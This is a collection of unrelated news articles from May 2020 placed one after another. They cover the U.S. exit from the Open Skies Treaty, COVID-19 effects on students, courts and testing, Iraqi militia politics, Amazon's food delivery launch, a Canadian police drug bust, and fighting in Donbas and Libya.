
NATO allies and other countries like Ukraine had pressed Washington not to leave the Open Skies Treaty, whose unarmed overflights are aimed at bolstering confidence and providing members forewarning of surprise military attacks.

In Moscow, RIA state news agency quoted Russian Deputy Foreign Minister Alexander Grushko as saying that Russia has not violated the treaty and nothing prevents the continuation of talks on technical issues that Washington calls violations.

The Open Skies decision followed a six-month review in which officials found multiple instances of Russian refusal to comply with the treaty.

Last year, the administration pulled the United States out of the Intermediate-range Nuclear Forces Treaty with Russia.

A senior administration said U.S. officials had begun talks in recent days with Russian officials about a new round of nuclear arms negotiations to "begin crafting the next generation of nuclear arms control measures."

Trumps arms control negotiator mounted a full-blown defense of the administrations arms control policies, focusing on the presidents proposal that China join the United States and Russia on a replacement for New START.

We know how to win these races and we know how to spend the adversary into oblivion. If we have to, we will, but we sure would like to avoid it," Special Presidential Envoy for Arms Control Marshall Billingslea told the Hudson Institute think tank.

The Open Skies treaty, proposed by U.S. President Dwight Eisenhower in 1955, was signed in 1992 and took effect in 2002. The idea is to let member nations make surveillance flights over each other's countries to build trust.

The officials cited a years-long effort by Russia to violate the terms, such as by restricting U.S. overflights of Russia's neighbor Georgia and the Russian military enclave in Kaliningrad on the Baltic coast.

In addition, they said Russia has been using its own overflights of American and European territory to identify critical U.S. infrastructure for potential attack in time of war.

Some experts worry that a U.S. exit from the treaty, which will halt Russian overflights of the United States, could prompt Moscows withdrawal, which would end overflights of Russia by the remaining members, weakening European security at a time that Russian-backed separatists are holding parts of Ukraine and Georgia.

Trumps decision to leave the treaty is premature and irresponsible, said Daryl Kimball, head of the Washington-based Arms Control Association.
As New Brunswick universities gear up to announce the structure of fall classes, international and out-of-province students are facing an uncertain future.

If universities decide to do a mix of online and on-campus instruction, as Mount Allison has recently announced, students could be stuck doing online classes even though that's not what they expected when they applied.

But choosing to defer could mean finishing classes later than anticipated.

And by the time September comes, a student's home country or home province may be experiencing a second wave of COVID-19 and they may not feel comfortable leaving loved ones behind.

"There's just a lot of uncertainty right now," said Raven-Lee Mills, an international student from Jamaica studying at the University of New Brunswick.

Mills is going into her fifth year of software engineering at UNB. In March, she decided it was safest for her to stay in Fredericton because she's immunocompromised and she was tied into a lease.

Like most Canadian universities, UNB is in the process of hammering out the details of its plan for fall classes. UNB, St. Thomas University and Mount Allison University are expected to make a detailed announcement regarding how classes will be structured on June 1.

Depending on what's announced, university plans could force some, like Mills, to defer.

When the announcement comes, Mills will likely have to decide if she's willing to risk going on campus for class or willing to pay international tuition prices  about $16,000 at UNB, double domestic tuition  for online learning.

"I really want to graduate, but also I am vulnerable. I could be putting my life potentially at risk."

Universities could open residences early

George MacLean, UNB's vice president academic, said the university will be taking "every measure necessary" to ensure the health and safety for students and staff in the fall.

Those measures could include physical distancing on campus, restricted access to labs and a more rigorous cleaning schedule.

Story continues

Even though it would be complicated to open up residence early to allow students from abroad or out of province to self-isolate for two weeks, UNB is considering that option.

STU is also considering opening dorms early.

But, if travel restrictions aren't lifted, international students may not even be able to arrive on campus.

"If the province does not permit international travel, then travel permits for students for the fall won't of course be advised. So that's the number one issue we're dealing with right now," MacLean said.

Immigration Canada is still processing study permits, although it's warning there may be delays.

But that's not the only problem international students could run into.

The processing centre in a student's home country may have closed operations because of COVID-19, making it more difficult to obtain a Visa, especially for those with poor internet or phone service.

CBC

There are about 1,300 international students between UNB's Fredericton and Saint John campuses.

Students worried about money

Mills said several international students have expressed concern about affording rent and tuition. Few summer job options because of COVID-19 have left some international students without work.

UNB's International Students' Society released a survey on their Facebook page recently, which 55 students responded to.

Mills said about 60 per cent of international students responded that they no longer have access to supporting funds that they would normally have to be able to study in Canada, such as parental help or personal savings.

"That is also a very big concern, especially going forward with the looming economic impact of the pandemic as well," Mills said.

She's heard from some students who would like to see a lower tuition rate for international students, if they have to take online classes. Students at other universities across Canada have also been calling for decreased tuition because of COVID-19.

UNB is not considering reducing tuition.

"It wouldn't permit us to be able to provide the resources for our programming if we were to reduce tuition," MacLean said.

"I'm not sure that it sends the right message to say that this type of delivery is worth something less than that type of delivery."

STU has not discussed lower tuition rates yet, said Ryan Sullivan, STU's associate vice president enrolment management.

Students considering deferrals

UNB couldn't confirm the number of people deferring, but said it is quite low so far.

"Most students I think are waiting another week for our announcement about what the term will look like," MacLean said.

Mount A said it hasn't seen a significant change in deferrals.

About 14 students have asked to defer their admission offer from STU so far, which is typical, Sullivan said.

"Depending on what happens with borders, that would be the difference for our international and out of province students as far as deferring till January or to the following year."

Students have the option to defer up until the start of the academic year. No fee is charged for deferring.
The Bombay High Court on Friday said the Brihanmumabi Municipal Corporation, BMC, had the authority to identify Muslim cemeteries for burial of Covid-19 victims and issue circular regarding it.

A division bench of chief justice Dipankar Datta and justice SS Shinde dismissed a petition filed by four Bandra residents challenging the validity of the BMC circular of April 9, 2020, which identified some Muslim cemeteries in thickly- populated areas for burying those who died of the coronavirus disease.

The petitioners had moved high court complaining that three inter-connected Muslim cemeteries identified for burial of Covid-19 victims were in the heart of Bandra west, surrounded by thickly-populated residential areas. They contended that there were high chances of spread of coronavirus from the burial ground in nearby residential areas. All the four petitioners reside in the vicinity of the private Muslim cemeteries.

However, the HC bench said there was no scientific material supporting the petitioners apprehension that coronavirus can spread through cadavers.

In their plea, the petitioners had said the BMC on March 30 decided to cremate bodies of all Covid-19 victims at the nearest crematorium, irrespective of their religion. The said decision was taken as the burial grounds in Mumbai are in densely-populated localities, with high chances of contamination in residential areas nearby, said their petition.

They added that the subsequent circular of April 9 was, however, completely contrary to the March 30 decision and therefore prayed for an order restraining the civic body from burying any Covid-19 victim in the three Muslim cemeteries.

The state government, however, maintained that burial at the cemeteries was unlikely to spread the deadly virus in the vicinity of the burial ground.

It is well established and declared by the World Health Organisation that coronavirus is not air bound and hence transmission of the virus to other people staying in the vicinity of the burial ground is highly impossible, said the government.

The transmission cannot happen unless people in the locality come in direct contact with the dead body brought for burial or cremation, it said, adding, Direct contact of people staying in the locality with dead body is impossible as the dead body is wrapped in plastic by hospital staff before handing it over to the relatives for cremation.

The Mumbai civic body supported the government, stating WHO guidelines on bodies of Covid-19 patients clearly stipulate that except in cases of haemorrhagic fevers (such as Ebola) and cholera, dead bodies are generally not infectious. Only the lungs of patients with pandemic influenza, if handled improperly during an autopsy, can be infectious. Other than the above, cadavers DO NOT transmit the disease.

The Mumbai HC bench accepted the submissions of the state and BMC, said advocate Pratap Nimbalkar, who represented the Navpada Masjid, Bandra and Santacruz Golibar Dargah Trust which manages the private Muslim cemeteries.

The bench said there was no scientific material supporting the petitioners apprehension that coronavirus will spread through cadavers, Nimbalkar added. Besides, the bench also noted that the civic chief was legally empowered to issue the circular and identify cemeteries for burial of Muslims dying due to coronavirus infection.
Public health experts and politicians are suggesting that we can see a point when pandemic-related restrictions could relax. But any relaxation must be careful and measured, quickly reversible if COVID-19 reappears.

Hey there, time traveller!

This article was published 22/5/2020 (608 days ago), so information in it may no longer be current.

Opinion

Public health experts and politicians are suggesting that we can see a point when pandemic-related restrictions could relax. But any relaxation must be careful and measured, quickly reversible if COVID-19 reappears.

Everyone maintains that widescale testing is a key to controlling the reopening of the economy.

Most of the proposed approaches, such as one advocated by Harvard University, involve testing of those with symptoms and in critical positions, detailed contact tracing of those testing positive, and isolation of those testing positive. But is this enough? South Africas experience with mass testing offers an important lesson.

In the 1950s, as the Cold War intensified, the Canadian and American military staffed about 60 radar stations in the Arctic to detect Soviet bombers. Known as the DEW Line (Distant Early Warning), the intent was to provide timely warning of an impending nuclear attack. With COVID-19 we need a "DEW" line to alert us before cases appear in hospital and force us to play catch-up again.

A COVID-19 DEW line has two components: testing widely in the general population, both for the presence of the virus and for the presence of antibodies; and a strategy for efficiently deploying a testing program across the population. On both fronts, we have some considerable distance to go.

Testing  or, more correctly, the lack of testing  is a signal failure in managing the response to this disease. On that point a consensus exists. However, to be of any value, diagnostic tests for the presence of disease or antibodies against a disease must be accurate

Accuracy in a diagnostic test, medical and otherwise, has two components. A false positive for COVID-19 is a test result that indicates someone has COVID-19 when, in fact, they do not. The result of this error is inconvenience; since if the person is not showing serious symptoms, they will needlessly self-quarantine.

Far more problematic is the false negative, which shows that someone does not have COVID-19, yet they do. If symptom free, that individual would be al liberty to go and spread disease.

The problem is that the false-negative rate on the COVID-19 diagnostic test is not known; the suggestion that it could be three in 10 is probably wrong. It is likely much lower than that, and getting better all the time, but unless the error rate is lower than five per cent, the test may not be useful that for mass screening.

If someone has the classic symptoms of COVID-19 but the test was negative, most physicians would override the test result and presume the patient was ill. Further, the turnaround for test results must be rapid

What about the antibody test? Here, the reported errors could also high, but with different consequences. A false negative means the test shows you do not have antibodies when in fact you do. The consequence is that your social life continues to tank. The false positive is clearly more dangerous to the person and society, because someone behaves as if they have immunity when they do not.

Both tests will get better, and probably quite quickly. The recent recall of the rapid test is a setback; however, another challenge is even the best tests are not ready for wide deployment. Manufacturers will require time to produce the hundreds of millions of test kits.

What process should we use for general population testing? We could replicate the random-sampling designs used by market researchers, pollsters and official statistics agencies, where a small sample supports inference about the population. Logistically, we could intercept people much as we test for drunk drivers. Police stop tens of thousands of motorists in a six-week winter holiday period.

How many people would we need to test, and how often? That is where another problem arises: if we assume the current infection rate is one per cent, then a random sample of 5,000 in a biweekly period might reveal 50 with the virus.

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The true infection rate may be lower, simply because we are currently testing only those with symptoms and those in risky occupations. A random sample of 5,000 in any province or city could reveal as few as five with the virus, far too low to serve as a baseline for guiding public-health policy.

Increasing the sample size is one approach, but 20,000 or even 50,000 intercepts repeated every two weeks would increase logistical complexity and cost.

An alternative course uses a stratified random sample, which targets the intercepted population to optimize estimates of the infection rate. Organizations such as Statistics Canada routinely develop these sampling designs; however, our understanding of COVID-19 must increase before we can confidentially target the sample and estimate how many people we need to intercept in each biweekly period. But it is feasible.

Certainly, returning travellers at airports, high density urban areas and nursing homes are locations where we may need to test more intensively.

We have a three-month window to create a COVID-19 DEW line before school starts in the fall and people want to travel for the upcoming holiday season  all parts of "normal" life. Refining processes for mass screening, ensuring rapid-test accuracy, and accelerating the manufacturing the test kits, to create a COVID-19 DEW line is a very tall order in that short time. But meeting this challenge will define this generation.

Gregory Mason is an associate professor of economics at the University of Manitoba.
The upcoming Xiaomi Mi Band 5 will enhance the heart rate tracker with SpO2 measurement (blood-oxygen saturation). Additional health features will include menstrual cycle tracking.

The international version was said to gain NFC support, previously exclusive to China. However, some new info casts doubt on global NFC support, but mentions a new Mi Smart Band 5 version with a model number XMSH11HM (the regular Band 5 will be XMSH10HM).

The current Xiaomi Mi Band 4

The Smart Band will have AI assistant support, specifically Amazons Alexa. On previous generations, models sold in China had NFC on board and a mic for a digital assistant, but that only worked with the Chinese-speaking Xiao AI.

Alexa is a much better pick for a global release as it already understands eight languages (covering the Americas, Japan, much of Europe and India). Note that as the band lacks a speaker, Alexas replies will be text only.

Good thing then that the screen will grow to 1.2 while bezels will shrink (the fourth gen screen is 0.95). The band will likely be unveiled in China first, some time in June with a global version to follow a couple of months later.

Source
Torsus Praetorian, the worlds first heavy duty 4x4 off-road bus, has been awarded a prestigious Red Dot Award in the Product Design 2020 category, for its outstanding design quality.

Torsus, in partnership with Werkemotion - an independent award-winning transportation and industrial design studio - has designed the bus.

Designed to transport personnel and equipment safely across the worlds harshest environments, the bus is based on an upgraded heavy-duty MAN chassis and is powered by MAN engines and drivetrain. From the Michelin off-road tyres, to the Line-X military grade coating on body parts, Praetorian is engineered to take on any terrain, in any conditions, anywhere in the world.

For over 60 years, the Red Dot Award has provided a platform for designers and companies to assess good design. Each of the 6,500 products entered into the competition, from 60 countries worldwide, were tested and judged by an expert jury in search of the very best in design and innovation. Lasting several days, the jurors test all the entries in order to assess the aesthetic, the materials selected, the level of craftsmanship, the surface structure, ergonomics and functionality. After long discussions together, they decide on the design quality of the products, with only the best designs receiving an award.

Vakhtang Dzhukashvili, founder and CEO of Torsus, said: Its a privilege and an honour for us to be awarded the globally respected and admired Red Dot award, for the outstanding design of our iconic Torsus Praetorian. We are very proud to accept this award and it is testament to the skilled work of the TORSUS team and our design partners at Werkemotion who, together, helped produce the worlds toughest and most capable off-road bus.

Bystrik Micek, CEO and Design Manager of Werkemotion, said: We would like to congratulate Tosus on receiving the esteemed Red Dot award for Product Design. We are very proud to worked alongside Torsus to design the worlds first off-road 4x4 bus and we are ecstatic they have been selected for what is, undoubtedly, one of the best product design awards in the world.

Professor Dr Peter Zec, founder and CEO of Red Dot said: The winners of the Red Dot Award have proved that they have created excellent products worthy of winning an award. The products won over the jury not only through their aesthetic, but also thanks to their incomparable functionality. With their designs, the award winners are setting new standards in their industry. I wish to congratulate them most sincerely on their success.

In addition to the award, on June 22, 2020, the Torsus Praetorian will be added to the exhibition Design on Stage in the Red Dot Design Museum Essen, where all of the award-winning products will be on show. The museum will therefore be a hot spot for best-in-class industrial design. From that date, the Torsus Praetorian will also be presented in the online exhibition on the Red Dot website and in the Red Dot Design Yearbook 2020/2021, which comes out in July 2020. - TradeArabia News Service
Iraqi Prime Minister Mustafa al-Kadhimi faces a difficult task in implementing his reform plan for the Popular Mobilization Units organization and bringing its various military factions under full control of the Iraqi state. He has started approaching PMU leaders, but reining in the organization will not be an easy task.

In his first days in office, Kadhimi took a few actions against the PMU. He ordered security forces in the southern province of Basra to close the Thar Allah al-Islami militia headquarters and arrest its leaders for shooting at protesters; one demonstrator had wound up dead. Security forces also arrested Maytham al-Okaili, who is a prominent member of Saraya al-Khorasani, on May 21. Okaili was accused of forming a gang and being involved in abducting and blackmailing several citizens. Saraya al-Khorasani is one of the top pro-Iran factions in the PMU and is led by Sayyed Hamed al-Jazaeri. It is one of the militias that have been accused by protesters of having taken part in killing and abducting demonstrators.

Kadhimi visited the main PMU office May 16 to break the ice. He praised the PMU for its military campaign against the Islamic State (IS) after the Sunni militant group seized a large chunk of Iraqi territory in 2014. While IS no longer holds territory, it has started a new wave of terrorist operations in the country.

The visit was a trust-building attempt that was welcomed by PMU leaders, who offered a PMU uniform to Kadhimi and asked him to put it on as a sign of closeness between the prime minister and the PMU.

However, the honeymoon did not last long. On May 19, a Katyusha rocket hit the Green Zone next to the British Embassy in the first such attack since Kadhimi took office May 6. The rocket launcher was found later on Palestine Street, where several PMU headquarters are located.

Also, soon after the prime minister's visit, Jawad al-Telbawi, a prominent leader in Asa'ib Ahl al-Haq, slammed Kadhimi for his words about the PMU. Kadhimi had praised the PMU forces and called them children of Gilgamesh and other heroes of Iraqi history before and after Islam. Telbawi tweeted, We are not children of Gilgamesh and we are not proud of being related to him. We are children of Ali and Hassan and Hussein and we are students of the school that teaches Hayhat minna l-dhilla (Never to humiliation)." This was in reference to a famous saying from the third Shiite imam, Hussein, who is the inspiring symbol of the Shiite militant movement and who died in the battle for Karbala in the year 680.

In the same vein, and in celebration of Quds Day on May 22, Baghdad and other central and southern cities have been filled with posters of Iranians  Islamic Republic founder Ayatollah Ruhollah Khomeini, Supreme Leader Ayatollah Ali Khamenei, Quds Force commander Esmail Ghaani and former Quds Force commander Qasem Soleimani, who was killed by the United States on Jan. 3. There are also posters of Abu Mahdi al-Muhandis, the PMU military leader who also was killed Jan.3, and other leaders of pro-Iran forces in Iraq and the region.

The relationship between Kadhimi and Iran-backed military factions in the PMU has been rocky since Kadhimi was appointed as chief of the intelligence service in 2016. The factions were the greatest obstacle when it came to Kadhimi's being approved as prime minister; still, a pro-Iranian PMU leader, Hadi al-Amiri, participated in the ceremony when Iraqi President Barham Salih designated Kadhimi to form a government, as a sign of respect.

In his visit with the PMU laders, Kadhimi said the PMU is an Iraqi institution under the Iraqi state. The PMU is for Iraq and all Iraqis, it is not for anyone else.  PMU loyalty is to Iraq, he added.

He also emphasized the role of top Iraqi Shiite cleric Ali al-Sistani in forming the PMU, which was read as criticism against some PMU factions that express loyalty to the Iranian supreme leader.

The staging conveyed a political message as well, with Kadhimi positioned in front between two lines of PMU leaders. One line had leaders of PMU factions known to be close to Khamenei and the other had PMU leaders known to be close to Sistani.

Some pro-Sistani PMU factions left the PMU a few weeks ago after long disputes with the other part of the PMU. Adel Abdul Mahdi announced in his last days in office as prime minister that these factions were to be under his direct supervision until a new home was prepared for them.

Kadhimi tried to unite the PMU again, but giving more support to the pro-Sistani factions in order to provide balance in the organization.

Kadhimis good relationship with Sistani will offer him a chance to reform the PMU, but controlling the pro-Iran factions will remain a serious challenge.

The only way to rein the PMU is to implement the PMU law passed in 2016 and the 2019 PMU decree issued by Abdul Mahdi. Kadhimi emphasized the necessity of implementing the PMU law, encouraging PMU militias to submit to it. Protecting you is my responsibility.  The PMU law is the framework that protects the PMU, he said.

The PMU law calls for all factions to be under control of the prime minister and forbids them from any other activities outside those of the Iraqi state. It also forbids them from political and economic activities.

Several pro-Iran PMU factions participated in the 2018 elections and formed the second-largest coalition, Fatah, despite the attempts by the then prime minister, Haider al-Abadi, to prevent this under the PMU law. Indeed, Amiri is the leader of Fatah. Many factions also are involved in economic activities in the country.

Finally, Kadhimi's achievements when it comes to the PMU will clearly depend on his ability to fully implement the PMU law, which would change the nature of many factions from religious militias to state military forces. This will not be not an easy or short task.
Highlights Amazon has launched its food delivery system in India and has piloted the project in Bengaluru.

For some users in the designated pin codes on the app, the option of food delivery is visible.

Meanwhile, Swiggy and Zomato have started delivering alcohol in some cities of Jharkhand.

E-commerce giant Amazon will now be extending its service in the food delivery area. The delivery service called Amazon Food has been launched in some pin codes of Bengaluru. Some users in Bengaluru can see the food delivery option under Amazon Food.

"Free and contactless delivery, hygiene certifies restaurants," Amazon highlighted on the app.

"We are launching Amazon Food in select Bangalore pin codes allowing customers to order from handpicked local restaurants and cloud kitchens that pass our high hygiene certification bar. We are adhering to the highest standards of safety to ensure our customers remain safe while having a delightful experience," an Amazon spokesperson told ET.

According to the app, the service is live in parts of Bellandur, Haralur, Marathalli, and Whitefield of Bengaluru. It is, however, not clear if the company will expand its food services in the rest of the city

Amazon Food was to be launched in February, but was delayed due to coronavirus, reports suggest. It is to be seen if the service can take on Swiggy and Zomato at a time when the restaurant industry is badly hit.

Amazon is delivering essentials through Amazon Pantry. It offers essentials like groceries, food items, health and beauty items, beverages, etc. Amazon also delivers food delivery items that include ready-to-eat meals through Amazon Prime Now and Amazon Fresh.

Other services like Swiggy, Zomato, Big Basket and Grofers went big on essential item delivery in the backdrop of the pandemic.

Meanwhile, Swiggy and Zomato have started the delivery of alcohol and alcoholic beverages in the capital city of Jharkhand. They plan to expand their service in other cities of Jharkhand within this week.

Swiggy has a new category called Wine Shops from where customers can order liquor at home.

"By enabling home delivery of alcohol in a safe and responsible manner, we can generate additional business for retail outlets while solving the problem of overcrowding, thereby promoting social distancing." Anuj Rathi, VP-Products in a statement said.

Customers ordering alcohol have to verify their age and user authentication with their selfie and government ID card. There will also be a cap on the quantity of alcohol that can be delivered.
Page Content

The Department of Community Development, Family & Humanitarian Affairs, which falls under the Ministry of Public Health, Social Development and Labour (Ministry VSA), has been very busy under the auspices of Emergency Support Function 7 (ESF-7), and would like to thank the Chinese Business Community for donating non-perishable and dry goods which allowed for 244 food and care packages to be compiled for distribution.





Members of the Chinese community also assisted with the transportation and loading of the food items which were distributed by K1 Britannia to the most vulnerable persons in the community based on the registrations that the Government received that was entered into a database.





Persons are reminded, those needing assistance should fill in the digital Social Impact Assessment Form by going to the following





link for the digital registration system: http://onlineservices.sintmaartengov.org/covid19/SIAForm.aspx





The Social Impact Assessment Form is available on the Government Website for download on smart phones, desktops, or laptops. The forms can also be filled in online and submitted for processing.





There are several sections on the form that needs to be filled in such as Section 1 Personal data, Section 2 Financial/Employment data, and Section 3 Basic Needs Assessment.





PHOTO CUTLINE: Representatives of the Sint Maarten Chinese Business Community along with representatives from Ministry VSA.




A unique crowbar allegedly used in a violent home invasion in Vaughan led to the dismantling of a drug- and gun-trafficking ring, police said Friday.

In total, 17 men and women were arrested and face a slew of charges including numerous counts of drug- and firearm-trafficking offences and robbery, York Region police said.

Police said they seized 15 guns along with cocaine, fentanyl, oxycontin and cash.

Det. Jason Boulay said the home invasion on Oct. 17, 2019,sparked the probe  dubbed Project Stanley, as a reference to the crowbar manufacturer.

It was about 2:30 in the morning when four armed suspects force their way into the residence, Boulay said in a video statement.

All the adults in the house were tied up  zip-tied  and forced down on the floor where demands were made for money and other personal belongings.

A 26-year-old man was injured in the alleged assault.

In March, the force released a video of the alleged invasion to the public. The footage appears to show armed suspects walk up the stairs of a home and beat a victim.

The crowbar that was seen in the video of the home invasion was identified as being unique and only sold at one retailer, police said.

Boulay said the Stanley crowbar was sold at a Home Depot.

Video surveillance was obtained through Home Depot and we were able to identify persons associated to that purchase of the tools that were used in the home invasion, he said.

From late March to mid-May, York police and seven other forces began raiding homes throughout the Toronto area and in Sudbury, Ont., as they executed search warrants.

This was a complex investigation, said Insp. Ryan Hogan, adding that it involved numerous units within the force that worked around the clock for months.

He said the investigators in one instance prevented an armed robbery.

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One Ukrainian serviceman killed, seven injured amid seven enemy attacks in Donbas in past 24 hours

One Ukrainian serviceman was killed, two injured and five wounded in action as a result of seven attacks mounted by the Russia-occupation forces in Donbas in the past 24 hours, the press service of the Joint Forces Operation (JFO) headquarters said.

"The armed formations of the Russian Federation violated the ceasefire regime in Donbas seven times in the past 24 hours. As a result of the enemy attacks, Ukraine lost one brave defender, while two servicemen were injured and five wounded in action," the JFO headquarters said on its Facebook page on Friday morning.

In the area of responsibility of the Skhid (East) task force, the enemy attacked Ukraine's positions near Shyrokyne, Pavlopil, Starohnativka, Avdiyivka and Bohdanivka using grenade launchers of various types, heavy machine guns and small arms.

In the area of responsibility of the Pivnich (North) task force, the enemy mounted attacks on the JFO's positions near Krymske and Triokhizbenka using 120mm and 82mm mortars.

According to Ukrainian intelligence, at least four members of Russia-occupation forces in Donbas were injured on May 21.
Gov. Phil Murphys administration on Thursday announced policy changes that would allow New Jersey government workers to take voluntary furloughs to avert layoffs as state tax collections plummet.

The governor, whose administration has lowered its revenue projections over this year and next by $10 billion, has warned of historic layoffs of public workers at all levels of government if the state does not borrow big sums or receive more aid from the federal government.

The states Civil Service Commission on Thursday evening said rules governing an existing voluntary furlough program have been relaxed to allow the state and local government employers to offer employees voluntary furloughs to avoid layoffs while maintaining their seniority and health benefits.

One such rule change suspends a restriction that employees may only take voluntary furloughs exceeding 30 days for educational purposes or to care for family, the commission said in a news release.

We want to make sure that civil service employees experience as little economic loss as possible and that they are able to maintain the health benefits they need for themselves and their families during this difficult time, Civil Service Commission Chairwoman Deirdre Webster Cobb said in a statement.

Hetty Rosenstein, state director of the Communications Workers of America, the largest state workers union, said employees who are furloughed should be eligible for unemployment benefits if, in fact, the furlough is designed to mitigate layoffs.

The voluntary furlough program is different from a job-sharing plan pushed by state Senate President Stephen Sweeney, D-Gloucester, to cut some public workers hours and pay while allowing state and federal unemployment benefits to supplement their income.

Sweeneys proposal (A4132) got big support from the state Legislature last week.

Under the Senate presidents proposal, some nonessential state and local employees work hours and wages would be reduced to 40%  essentially, working two days out of five. Those employees would be eligible for state unemployment benefits, as well as the $600 weekly federal enhancement that would boost pay for many low- and middle-income public workers higher than their full-time wages, Sweeney has said.

Murphys state Treasury Department estimated it is facing a $2.8 billion shortfall this fiscal year and has lowered its projections for the next fiscal year by $7.3 billion. The combined estimated revenue loss is $10.1 billion.

The Democratic governor has frozen about $1 billion in discretionary spending and asked the federal government for billions of dollars in aid and state lawmakers to borrow from the Federal Reserve to shore up state finances.

Our journalism needs your support. Please subscribe today to NJ.com.

Samantha Marcus may be reached at smarcus@njadvancemedia.com.
New moderate income housing program could be on the way to Long Beach
Reuters

Britain's system for tracing those with the novel coronavirus was under fire on Thursday as it grappled with the development of a tracking app and health workers warned the government that unless there was clarity it could suffer a second deadly wave.

Prime Minister Boris Johnson said on Wednesday a "world-beating" program to trace and test those suspected of having been in contact with people who have tested positive for COVID-19 would be in place by 1 June.

Britain is currently testing the app - based on Bluetooth - on the Isle of Wight off the southern coast of England where the government says more than half the residents had downloaded it.

James Brokenshire, the junior interior minister in charge of security, said there were technical issues with the app but that traditional measures could be rolled out first.

"The track and trace system is going to be ready," Brokenshire told Sky News.

"We obviously want to see that the app is put in place well and effectively, learning from the experience on the Isle of Wight and dealing with all of the feedback that we're receiving on some of the technical issues, to ensure that the app is as strong as we can make it."

When asked if the system could work without the app, he said: "Yes."

Britain abandoned track and trace in the middle of March as the number of cases soared. But an effective system is now seen as crucial to preventing a deadly second wave of the outbreak - and thus getting the economy working again after the lockdown.

Risk of second infection wave

The government has recruited 21,000 trackers in England to manually trace the contacts of people who test positive for COVID-19 using telephone and email.

The availability of tests - another core requirement for an effective programme - has also been extended.

Technology is the third plank of the system. An app could help identify anonymous contacts, such as encounters on public transport.

But Britain's progress has been criticised: opposition lawmakers said an earlier promise of a nationwide roll-out of a National Health Service (NHS)-developed smartphone app had slipped from the middle of this month.

Rival technology developed by Apple and Google was launched in several other countries on Wednesday. The companies said they were in talks with Britain about the system.

The NHS Confederation, a group which represents the health service's organisations, said the United Kingdom was at risk of a second jump in cases without clarity on government strategy.

"The relaxation of restrictions based on scientific advice is the right approach but it must be accompanied by an effective test, track and trace strategy which enables us to monitor local spread of the disease," the confederation said.

"To achieve this we must have national, local and cross-agency involvement. Without this, we do face the risk of a second wave of infections."
Updated May 22, 2020, at 12:24 p.m. EST with comments from NATO and Poland.

BRUSSELS  Ten European Union countries on Friday expressed regret at U.S. plans to withdraw from the Open Skies treaty and vowed to uphold the pact, as NATO envoys met to discuss developments.

President Donald Trump said Thursday that Russian violations make it untenable for the United States to stay in the Open Skies Treaty. Washington has signaled that it will pull out in six months, although Trump hinted that he might reconsider the decision.

The treaty came into force in 2002. It was meant to promote trust between the U.S. and Russia by allowing signatories to conduct reconnaissance flights over each others territories to collect information about military forces and activities.

In a joint statement, the foreign ministries of Belgium, the Czech Republic, Finland, France, Germany, Italy, Luxembourg, the Netherlands, Spain and Sweden said the pact is a crucial element of the confidence-building framework that was created over the past decades in order to improve transparency and security across the Euro-Atlantic area.

We will continue to implement the Open Skies Treaty, which has a clear added value for our conventional arms control architecture and cooperative security. We reaffirm that this treaty remains functioning and useful, the 10 EU members said, even though they share U.S. concerns about Russias respect of the pact.

They called on Russia to lift flight restrictions, notably over its Kaliningrad region, which lies between NATO allies Lithuania and Poland. Of the 10 countries, Finland and Sweden are not NATO members. Sweden has been particularly active in trying to save the treaty over the last six months.

Poland also issued an individual statement, saying the U.S. has been keeping the Republic of Poland informed about the Treaty on Open Skies implementation review and its possible decision on withdrawal. We are currently taking actions together with our Allies and close partners to agree on joint solutions aimed at strengthening our security.

Story continues

After several hours of meetings, NATO Secretary General Jens Stoltenberg issued the alliances comment on the situation, saying the allies agree that all states party to the Open Skies Treaty must fully implement their commitments and obligations. All NATO Allies are in full compliance with all provisions of the Treaty.

Russias ongoing selective implementation has undermined the Open Skies Treaty, Stoltenberg added. NATO Allies are engaging with Russia to seek Russias return to compliance at the earliest date possible."

Although not all NATO members are part of the treaty, the alliance often serves as a venue for coordination around multinational security arrangements. In 2018, NATO leaders expressed concern about Russias ongoing selective implementation of the treaty and other conventional arms control pacts. European nations have conducted most of the flights, which often take place over Russia and Belarus.

Earlier, German Foreign Minister Heiko Maas acknowledged that Russia was not respecting the treaty, but from our point of view, this does not justify a withdrawal. He said his counterparts in Britain, France and Poland have repeatedly made this clear to Washington, and that Germany will work intensively in this time with our like-minded partners for the U.S. to reconsider its decision.

Last year, Trump pulled the U.S.  by far the biggest and most influential of the 30 NATO member countries  out of the Intermediate-Range Nuclear Forces Treaty that it agreed in 1987 with the Soviet Union, blaming Moscow for developing a missile that does not comply with it.

Russian Deputy Foreign Minister Alexander Grushko has criticized the latest U.S. move.

The withdrawal of the U.S. from this treaty will come as yet another blow to the system of military security in Europe, which is already weakened by the previous moves by the administration, Grushko told Russian state news agency Tass.

It is unclear what Russia will do going forward, with one European source telling Defense News that Moscow now has the upper hand from a public relations perspective.

If youre Russia, you can stay in and take the moral high ground, say, We still honor international treaties, even if America doesnt, or you can say the treaty is diminished beyond usefulness and you pull out. I dont know which theyll do, but neither is good for NATO," the source said.

Geir Moulson in Berlin contributed to this report.
The Bank of Ghana has introduced an online payment platform for the Collateral Registry System.

The Bank made this known on May 22, in a statement signed by its Secretary, Sandra Thompson.

It says under the statutory Mandate of the Borrowers and Lenders Act 2008 (Act) 773, the Bank of Ghana operationalized the establishment of the Ghana Collateral Registry on 1st February 2010, to register charges and collaterals created by borrowers, to secure credit facilities provided by lenders.

It added that this was in pursuant of its mandate to regulate, supervise and direct the banking and credit system, and ensure the smooth operation of the financial sector.

The Collateral Registry operates a 24/7 web-based system, which serves lending institutions and the general public, the Bank stated.

With reference to the Bank of Ghana NOTICE NO. BG/GOV/SEC/2013/10, the use of some services of the registry requires payment.

The current modes of payment are the post-paid mode and the pre-paid mode, which require a deposit to be made at the Bank of Ghana, it says.

In addressing the inconveniences associated with the existing pre-paid mode of payment, Bank of Ghana has introduced an online payment service for the Collateral Registry web-based system.

This online payment service affords clients of the Collateral Registry the option to pay for the services rendered by either Mobile Money (MTN MoMo, Vodafone Cash and AirtelTigo Money) or Visa/MasterCard.

With this new feature, the Collateral Registry Online Payment System will go live on Monday, 25th May 2020, and will be accessible via the URL www.collateralregistry.gov.gh.

---Daily Guide
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Khalifa Hifters self-styled Libyan National Army lost more ground today to the countrys internationally recognized government, which reclaimed parts of southern Tripoli from the military strongman.

The Government of National Accord (GNA) said it had retaken several towns in recent days, including the town of Esabia on Thursday, according to Turkish state-run Anadolu Agency.

Spokesman Mustafa al-Mujie told the outlet that the Government of National Accord was now preparing an assault on the city of Mizdah, some 111 miles from the capital.

Hifters eastern-based army, although withdrawing from parts of southern Tripoli, announced it destroyed nearly 20 military vehicles and four Turkish-made government drones.

